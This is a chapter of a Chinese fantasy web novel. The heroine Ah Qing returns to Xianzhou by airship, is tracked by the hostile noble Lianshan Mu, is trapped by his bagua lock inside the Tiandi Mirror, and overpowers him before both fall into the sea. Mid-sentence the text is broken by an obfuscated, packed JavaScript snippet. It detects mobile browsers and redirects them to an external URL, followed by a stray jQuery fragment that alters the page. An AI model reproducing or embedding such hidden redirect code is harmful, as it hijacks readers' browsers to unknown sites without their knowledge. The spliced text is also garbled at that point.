25. 第 25 章
作品:《师妹的想法很危险》 正月初六,码头挤满了人。
天色阴沉,可当灰蒙的晨光打在簇新的船身上时,倒又显出几分银光熠熠,阿轻眯着眼睛去看远处名叫“悬舟”的新事物。
悬舟是三年前铸炼家新造出来的大船,靠经卦家的天干地支和星宿分野定位。
去年,两家又合力进行了升级改造,如今往返任意一座城池都不会超过四个时辰。
阿轻混在熙熙攘攘的人群中,扫过船头标志着的各个目的地,最后还是选择回到仙洲。
舷窗外是隆隆的风声,时不时便掀起一排排巨浪,贴海飞行的悬舟却完全不受影响。
这艘载着数百灵术士的庞然大物,在最后一缕落日余晖散尽时,四平八稳地靠了岸。
阿轻也从船尾的位置起身,一边装作困倦地揉眼,一边注意着附近的人群。
开船没多久,她就感觉有道视线黏在自己身上,然而,周围都是欢快聊天的声音,没有异常,她抬手摸了摸脸,美人面也没出岔子。
是被闻人氏发现了?
阿轻想了想,觉得可能性不大,目之所及大多是年轻的灵术士,仅有的几个中年人看上去也不像是要追杀她的样子。
而下船后,人群便各自散开了。
期间又有几艘悬舟靠岸,发出高亢的鸣笛声,和码头集市喧闹的叫卖声混在一起。
阿轻随着人流在拥挤的集市中穿梭,掌心几块灵玉转瞬化作粉末,却如杯水车薪,难以弥补她被万物生夺走的灵力。
这不是个适合动手的时候。
好在集市人多,又拐过几条街道后,那种如影随形的注视感终于消失了。
于是在转过某处昏暗拐角的时候,阿轻足尖一点,身手敏捷地翻进了院墙。
后方,满脸不耐的连山穆正快速戳着手里的灵息镜:【......码头东!快来人!】
再抬头时,目标就不见了,他人也傻了。
而灵息镜微微震动一下,弹出个大红叉提示“发送失败”,气得他一边问候造出这破玩意的灵术士,一边急匆匆地往前跑。
黑不溜秋的柴房里,阿轻刚换好外衣就感觉到有人靠近,木门嘎吱作响,她猛地甩出一把药粉,同时一个闪身从窗户里跳了出去。
美人面在垂首间倏然变换,少女纤细的身影如游鱼隐入拥挤的人群。
年节各地都缩减了航班,抵达的悬舟如今都已落锁,直到明早才会开航。
从集市出来的灵术士正都陆续往北走。
再经过一道山门,北面连片的山峰才是真正的仙洲,矗立的数十座山峰上隐约可见十二殿的轮廓,最高处光华流转,直冲云霄。
阿轻也跟着上山,从悬舟到山道,身边的灵术士都在谈论最近非常火热的天地镜寻宝。
新年伊始,世家终于拿出了天地镜,还慷慨解囊,往里面投放了不少灵石宝物,以此来鼓励仙洲学子闯镜寻宝。
“哎哎!听说这次的守镜人是天一殿那位师兄!你说我要是不小心脚滑从山上掉下去,师兄是不是会欻一下驾着飞剑来救我!”
兴高采烈的灵术士被同伴暴扣一记:“醒醒吧你!我要是白渊师兄,看见这么丢人现眼的师弟,只会让你直接摔死!”
随行一圈顿时“哈哈哈哈”笑起来。
被笑声包围的阿轻在看手里的灵息镜,这也是近几年才出现的新事物,可以传讯,但还是不太灵敏,目前似乎只能在仙洲使用。
最上面一条来自半夏:【颜卿颜卿!你回来后要去天地镜寻宝吗?!】
阿轻离开仙洲后才看到,也就没回。
颜卿是她如今作为杂役弟子的名字。
半夏也是杂役弟子,为人十分热心,阿轻对外界的许多认知都来自于她。
从悬舟下来这么久,灵息大概也恢复了。
阿轻正要敲字,就听见身旁几个灵术士提到了阿姐的名字,让她神色怔了怔。
“......听闻天地镜原本是公仪一族世代传下来的法器,要不是公仪小姐失踪,也轮不到旁人来守镜,都怪该死的鬼煞族!”
“十年前,鬼煞族便屠了公仪氏一家,如今这群魔物又炸了圣舟,公仪小姐失踪多日,该不会被鬼煞族掳去了山海洲吧?”
说话间,不断有人在往西看。
可裨海实在太大,满目皆是漆黑的夜空与海域,从这里是不可能看到山海洲的。
阿姐会被鬼煞族掳走吗?
阿轻也担心过,但若是那样,世家的反应便该是营救或谈判,而不是派出那么多灵术士在裨海上搜查,还颇为愤怒。
阿姐的修为摆在那里,阿轻只能祈愿她平安顺利,早日归来。
快到半山腰时,人群逐渐分道,阿轻正想往东回瑶华殿,却忽然闻到一股熟悉的药香。
那是她不久前甩出去的药粉,只一瞬,她便改了方向,去人流更大的西边。
后方,恼羞成怒的连山穆几根手指猛戳灵息镜:【西面!学宫方向!能不能来人!气死老子了!!再收不到你们就去吃屎!!!】
发完信息,他直接眼不见为净。
倒是阿轻的灵息镜震了震,她低下头,脑子里却在想别的——她已经完全变了模样,跟踪者是怎么再次发现她的?
恢复的灵息镜把半夏昨天发的信息传了过来:【颜卿颜卿!我已经从天地镜出来啦!闯镜好简单,我竟然挖到了十块灵玉!你也记得去讨个好彩头噢!】
阿轻快步走着,随手敲了个:【好!】
到学宫广场后,人流便分去了东南西北的舍馆。广场中央放着天地镜分镜,一人高的镜面上,溢散的流光犹如薄雾,泛起层层波澜。
深夜,仍有许多人约着去闯镜寻宝。
阿轻也毫不犹豫地跃进天地镜,打算趁乱进去晃一圈,再从另一个分镜出来。
一般来说,只要不是同时进镜的,就不会被分到同一个幻境。但偏偏有人蛮横地撞开周围一圈学子,在最后一刻拽住了她的衣服。
真是阴魂不散。
在落地的瞬间,阿轻便果断闪身拉开了距离,然后目光戒备地打量着来人。
“跑啊?怎么不跑了?”
连山穆脸色凶狠地瞪着她,沾到药粉的皮肤现在还在火辣辣得疼,他咬牙切齿地往前冲了几步,伸手就要攥住阿轻的衣领。
阿轻立刻灵巧地后退避开,她此时虽然灵力低微,但自幼勤学苦练积累的身法还在,再加上从奴隶堆里摸滚打爬学到的阴险手段,几番过招下来,好像把人气得更狠了。
“这位师兄,是不是认错人了?”
阿轻神色无辜,嗓音也温和,谨慎挪步的同时转了转险些被灵力打中的手腕。
眼前这人大约有六、七境的修为,衣着华贵,瞧着像是哪个世家的子弟。
吃错什么药了,无缘无故冲她发疯?
“错、不、了!”
连山穆恶声恶气,很快又迎了上来,灵力随着挥拳的动作狠狠砸下,在阿轻又要掏出什么暗器前,清脆的“咔嗒声”突然响起。
阿轻眯眼看着手腕上一闪而过的金光,随后便有重山之力袭上每寸骨骼,像一只凭空出现的巨手,顷刻间就将她整个人都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732712|172393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
压了下去。
即便草叶丰茂,这一下也砸得人发晕。
被束缚的身躯完全无法动弹,而在地面闪烁的金色圆盘很快便和腕上的圆环相叠,化作经卦家最常见的八卦锁。
夜色中,艮卦被点亮,照出靠近的黑色长靴,也照出阿轻因疼痛而变得苍白虚弱的脸。
八卦锁......是经卦家的人?
“行了。”连山穆很不耐烦,半蹲下来的同时唰地抽出一把短刀,在她脸侧肆意划拨,威胁意味十足,“快把你偷的东西交出来!”
阿轻瑟缩着避开,视线从近在咫尺的森冷刀刃上掠过,转向那双轻蔑傲慢的眼睛,嗓音怯怯:“我、我偷什么了?若师兄丢了东西,不如先将我放开,我才好帮师兄一起找啊?”
“偷了什么你心里没点数?”
连山穆冷哼一声,嫌恶地扫过阿轻毫无特色的脸,意味不明的目光在她身上逡巡。
没等回应,他便像是懒得再废话,带着报复的狠意,毫不犹豫地将短刀切向她胸腹!
尖锐的寒意猝然刺进肌肤,八卦锁带来的重力钳制又让人无法逃脱,阿轻挣扎无果,眉心紧蹙,连忙出声:“等等!”
竟然直接动手,那么确定?
可阿轻反复回想都想不起来自己曾和这人打过什么交道,更遑论偷东西,但她不想死。
这人着实有些古怪,控灵不知为何竟对他毫无影响,而她那点微乎其微的灵力,给人下菜都不够,只有另一股被压制的力量,像饿急了的怪物,在血脉里蠢蠢欲动。
阿轻已经很久没用过万物生的力量了。
连山穆斜挑着眼,又把刀尖在血肉里剜了剜,才停下来,语调不善地问:“怎么?”
阿轻抽了口冷气,失血后的脸色更加虚弱苍白,她在心里把这疯子骂了八百遍,开口却轻柔,还故意带了点歉意:“对不起师兄,我想起在路上时确实捡到了个东西......”
“就在我手心里,师兄要不拿去看看呢?”
“呵。”
连山穆掸了掸指尖,眼神鄙夷。
要不是意外感应到了圣核的波动,他也不会从悬舟一路追到这里。
他们经卦家的神器,被一个不到一境的废物弟子捡到?还在手里?他想着想着就笑了。
“在手里是吧?”
吃过药粉的亏,连山穆眯着双眼,染血的刀刃直接朝她手腕上扎,“剁了就知道了。”
这么难骗?
阿轻心头一跳,连忙摊开手,让他看见手里真的有东西——洗魂咒的灰烬。
大晚上月光浅薄,连山穆转了转刀,狐疑地盯着那团黑不溜秋的东西,是圣核吗?
料想她被八卦锁困住,他便放心地去拿。
而就在这一瞬间,阿轻咬了咬牙,拼着全身的力气掐住了他的手腕!
这个女人果然又在耍他!
连山穆惊了一惊后又大怒,正要动手,却发现自己浑身经脉都像灌了沉重的铅水,半点灵力都用不出,宛如残废,太诡异了!
这又是什么毒?!他根本反应不过来,就看到艮卦之力失效,而少女一个旋身,摁着他的脑袋压进将散未散的卦阵里,嗓音幽幽——
“说说看啊,我到底拿了你什么?”
连山穆疼得呲牙咧嘴,眼睛下意识往离卦上瞥,却又被人狠狠地按了下去,他头昏脑胀地盯着浮在鼻尖那个发光的“巽”字。
“怎么非要找死呢。”少女嗓音轻柔。
与此同时,卦阵生出的猛烈罡风猝然席卷这处临海断崖,将两人一道掀进了海里。